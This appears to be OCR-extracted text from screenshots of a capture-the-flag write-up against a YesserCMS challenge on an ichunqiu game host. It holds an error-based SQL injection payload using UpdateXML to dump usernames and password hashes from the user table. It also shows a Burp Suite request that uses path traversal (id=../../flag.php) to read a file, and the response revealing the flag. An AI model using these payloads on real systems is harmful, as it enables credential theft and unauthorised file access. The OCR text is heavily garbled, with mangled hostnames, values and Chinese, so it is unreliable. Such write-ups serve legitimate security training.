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http://111b161f202adbcf844c902d35edcacdf2dabf48201046d2 . game . ichungiu. com/celive/1live/header. php

</xjxquery=>

T XPATH syntax error: '[admin|ff512d4240cbbdeafada40467'
. INSERTINTO “yesercms_detail” ("chatid”," detail’," who_witter™) VALUES(",'xxxxxx',

(UpdateXML(1,CONCAT(0x5b,mid({SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from
yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL, NULL,NULL,NULL)-- (2018-04-05 22:05:24)",'2")

EE, XEMRERAEN, adminfINERTE, BRIHEERTEE%H20~64

http://111b161f202a4bcf844c902d35edcacdf2dabf48201046d2 . game. ichungiu.com/celive/live/header. php

XPATH syntax error: '[deafadad40467 7ccbe6l]
INSERT INTO “yesercms_detail” (" chatid”, detail”,” who_witter™) VALUES("," 30000’

(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,’|',password)) from
yesercms_user),20,64),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-04-05 22:07:23)",'2')
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Burp Intruder Repeater Window Help

Target | Proxy | Spider ’/Scanner ’/Intruder ’/Repeater rSequencer ”Decoder rCOmparer ’/Extender ’/Proiect options ’/User options | Alerts

Target: http://111b161f202ad4bcf844c902d35edcacdf2dabf48201046d2.game.ichungiu.com | # | 7

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /index.php?case=templatesact=fetchtadnin_dir=admingsite=default HTTP/1.1

Host: 111b161f202a4bcf844c902d35edcacd f2dabf48201046d2. game. ichunaiu. com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0

Accept: application/json, text/javascript, */*

Accept-Language: zh-cn,en;q=0.7, en-us;g=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer:
http://111b161f202ad4bcfBad4c902d35edcacdf2dabf48201046d2. game. 1chungiu. con/index.php?case=templatesact=e
dit&admin_dir=admin&site=default

Content-Length: 19

Cookie: PHPSESSID=a884aff7792e6923d741cefd7c59daf3;

passinf 7 a+hrefs30%22ht tpa3A%2Fs2Fuw. clseasy . cn¥2Fservice_1.htmls22+tar
get%30%22_blanks22%3E%3Cfontscolors3ns22greens2 20%3C%2Ffont
%3E%3C%2Fa%3E; login_username=admin; login_password=294f8d9844c391a79ae9dboaadld2cds; style=skin2
Connection: close

Pragma: no-cache

Cache-cControl: no-cache

&id=#../../flag.php

idZ ¥4 5% falg.php , ./fflag.php , ../../Mag.php
BJ5#k 3| T flag.

HTTP/1.1200 0K
Server: nginx/1.10.2

Date: Fri, 06 Apr 2018 01:51:40 GMT

Content-Type: text/htnl; charset=utf-8

Content-Length: 267

Connection: close

Pragma: no-cache

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=o
Expires: Thu, 19 Nov 1981 68:52:00 GMT

{"content":"<textarea r \"20\" cols=\"78\" 1d=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana, Ri;
font-s1 2px;\" name=’ \/..\/flag.php_content\"><7php\necho *flag 1s
here';\n'flag{2216ed2c-8637-46ef-bdca-dc1oded2a237} ' ;\n<\/textarea=>"}
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